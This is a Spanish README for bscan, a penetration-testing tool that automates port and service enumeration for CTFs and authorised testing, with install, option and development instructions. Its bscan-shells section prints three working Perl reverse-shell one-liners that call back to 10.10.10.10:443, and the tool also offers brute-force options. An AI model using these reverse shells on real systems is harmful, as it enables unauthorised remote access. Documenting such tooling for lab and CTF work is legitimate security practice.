
una herramienta asíncrona de enumeración de objetivos
:mag: una herramienta asíncrona de enumeración de objetivos :mag_right:
bscan es una utilidad de línea de comandos para realizar recolección activa de información y enumeración de servicios. En esencia, bscan lanza de forma asíncrona procesos de utilidades de escaneo bien conocidas, reutilizando los resultados del escaneo en una salida de consola resaltada y una estructura de directorios bien definida.
bscan está destinado únicamente a fines educativos y eventos como CTFs, y nunca debe ejecutarse en máquinas y/o redes sin un consentimiento previo explícito. Este código se publica bajo la licencia MIT.
bscan fue escrito para ejecutarse en Kali Linux, pero no hay nada que lo impida inherentemente de ejecutarse en cualquier sistema operativo que tenga las herramientas adecuadas instaladas. Hay algunos tipos diferentes de versiones empaquetadas y formas de instalarlas.
La forma más sencilla de empezar es descargar la versión ejecutable de un solo archivo adecuada para su sistema operativo (no requiere instalación de Python):
# en Linux (ej., Kali)
wget -O bscan https://releases.brianwel.ch/bscan/linux
# en Windows
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; wget 'https://releases.brianwel.ch/bscan/windows' -OutFile 'bscan.exe'"
# para descargar una versión específica, use el siguiente patrón
wget -O bscan https://releases.brianwel.ch/github/bscan/linux/0.1.4
También puede descargar la última versión empaquetada desde PyPI (tenga en cuenta que esto requiere una instalación existente de Python 3.6+):
pip install bscan
Del mismo modo, puede obtener la versión más reciente desde el control de versiones:
pip install https://github.com/welchbj/bscan/archive/master.tar.gz
bscan tiene una amplia variedad de opciones de configuración que se pueden usar para ajustar los escaneos a sus necesidades. Aquí hay un ejemplo rápido:
$ bscan \
> --max-concurrency 3 \
> --patterns [Mm]icrosoft \
> --status-interval 10 \
> --verbose-status \
> scanme.nmap.org
¿Qué está pasando aquí?
--max-concurrency 3 significa que no se ejecutarán más de 3 subprocesos de escaneo concurrentes a la vez--patterns [Mm]icrosoft define un patrón de expresión regular personalizado con el cual resaltar coincidencias en la salida del escaneo generado--status-interval 10 le indica a bscan que imprima actualizaciones de estado en tiempo de ejecución cada 10 segundos--verbose-status significa que cada una de estas actualizaciones de estado imprimirá detalles de todos los subprocesos de escaneo que se estén ejecutando actualmentescanme.nmap.org es el host en el que queremos enumerarbscan también depende de algunos archivos de configuración adicionales. Los archivos predeterminados se pueden encontrar en el directorio bscan/configuation y tienen los siguientes propósitos:
patterns.txt especifica los patrones de expresión regular que se resaltarán en la salida de la consola cuando coincidan con la salida del escaneorequired-programs.txt especifica los programas instalados que bscan planea usarport-scans.toml define los escaneos de descubrimiento de puertos que se ejecutarán en el/los objetivo(s), así como las expresiones regulares utilizadas para analizar los números de puerto y nombres de servicios de la salida del escaneoservice-scans.toml define los escaneos que se ejecutarán en el/los objetivo(s) por servicioEsto es lo que debería ver al ejecutar bscan --help:
usage: bscan [OPTIONS] targets
_
| |__ ___ ___ __ _ _ __
| '_ \/ __|/ __/ _` | '_ \
| |_) \__ \ (__ (_| | | | |
|_.__/|___/\___\__,_|_| |_|
an asynchronous service enumeration tool
positional arguments:
targets the targets and/or networks on which to perform enumeration
optional arguments:
-h, --help show this help message and exit
--brute-pass-list F filename of password list to use for brute-forcing
--brute-user-list F filename of user list to use for brute-forcing
--cmd-print-width I the maximum integer number of characters allowed when printing
the command used to spawn a running subprocess (defaults to 80)
--config-dir D the base directory from which to load the configuration files;
required configuration files missing from this directory will
instead be loaded from the default files shipped with this
program
--hard force overwrite of existing directories
--max-concurrency I maximum integer number of subprocesses permitted to be running
concurrently (defaults to 20)
--no-program-check disable checking the presence of required system programs
--no-file-check disable checking the presence of files such as configured
wordlists
--no-service-scans disable running scans on discovered services
--output-dir D the base directory in which to write output files
--patterns [ [ ...]] regex patterns to highlight in output text
--ping-sweep enable ping sweep filtering of hosts from a network range
before running more intensive scans
--quick-only whether to only run the quick scan (and not include the
thorough scan over all ports)
--qs-method S the method for performing the initial TCP port scan; must
correspond to a configured port scan
--status-interval I integer number of seconds to pause in between printing status
updates; a non-positive value disables updates (defaults to 30)
--ts-method S the method for performing the thorough TCP port scan; must
correspond to a configured port scan
--udp whether to run UDP scans
--udp-method S the method for performing the UDP port scan; must correspond
to a configured port scan
--verbose-status whether to print verbose runtime status updates, based on
frequency specified by `--status-interval` flag
--version program version
--web-word-list F the wordlist to use for scans
El programa principal bscan incluye dos programas de utilidad (bscan-wordlists y bscan-shells) para facilitarle la vida cuando busque listas de palabras o intente abrir shells reversos.
bscan-wordlists es un programa diseñado para encontrar archivos de listas de palabras en Kali Linux. Busca en algunos directorios predeterminados y permite la coincidencia de nombres de archivo con glob. Aquí hay un ejemplo sencillo:
$ bscan-wordlists --find "*win*"
/usr/share/wordlists/wfuzz/vulns/dirTraversal-win.txt
/usr/share/wordlists/metasploit/sensitive_files_win.txt
/usr/share/seclists/Passwords/common-passwords-win.txt
Pruebe bscan-wordlists --help para explorar otras opciones.
bscan-shells es un programa que generará una variedad de comandos de una línea para shells reversos con los campos target y port completados para usted. Aquí hay un ejemplo sencillo para listar todos los shells basados en Perl, configurados para conectarse de vuelta a 10.10.10.10 en el puerto 443:
$ bscan-shells --port 443 10.10.10.10 | grep -i -A1 perl
perl for windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl with /bin/sh
perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl without /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Tenga en cuenta que bscan-shells obtiene estos comandos del archivo de configuración reverse-shells.toml. Pruebe bscan-shells --help para explorar otras opciones.
Comience configurando un nuevo entorno de desarrollo e instalando los requisitos (usando virtualenvwrapper / virtualenvwrapper-win):
# configurar el entorno
mkvirtualenv -p $(which python3) bscan-dev
workon bscan-dev
# obtener las dependencias
pip install -r dev-requirements.txt
Verifique el estilo y los tipos del proyecto (también se ejecutan en Travis):
flake8 . && mypy bscan
Cuando sea el momento de empaquetar una nueva versión:
# construir el ejecutable de un solo archivo
pyinstaller bscan.spec
# construir distribuciones fuente y wheel
python setup.py bdist_wheel sdist
# ejecutar verificaciones posteriores a la compilación
twine check dist/*
# subir a PyPI
twine upload dist/*